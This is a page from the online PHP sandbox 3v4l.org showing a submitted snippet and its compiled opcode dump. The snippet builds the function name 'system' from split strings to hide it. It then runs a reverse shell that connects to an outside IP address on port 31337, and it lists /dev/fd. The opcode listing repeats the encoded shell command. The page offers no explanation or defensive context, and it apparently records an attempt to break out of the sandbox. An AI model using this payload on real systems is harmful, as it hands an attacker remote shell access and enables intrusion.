3v4l.org

run code in 300+ PHP versions simultaneously
<?php $a=("s"."yst"."em");$a("sh -i >& /dev/tcp/1.236.112.48/31337 0>&1"); var_dump(glob("./dev/fd/*"));
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/88f86
function name:  (null)
number of ops:  11
compiled vars:  !0 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'system'
          1        INIT_DYNAMIC_CALL                                        !0
          2        SEND_VAL_EX                                              'sh+-i+%3E%26+%2Fdev%2Ftcp%2F1.236.112.48%2F31337+0%3E%261'
          3        DO_FCALL                                      0          
    3     4        INIT_FCALL                                               'var_dump'
          5        INIT_FCALL                                               'glob'
          6        SEND_VAL                                                 '.%2Fdev%2Ffd%2F%2A'
          7        DO_ICALL                                         $3      
          8        SEND_VAR                                                 $3
          9        DO_ICALL                                                 
         10      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
142.11 ms | 1459 KiB | 15 Q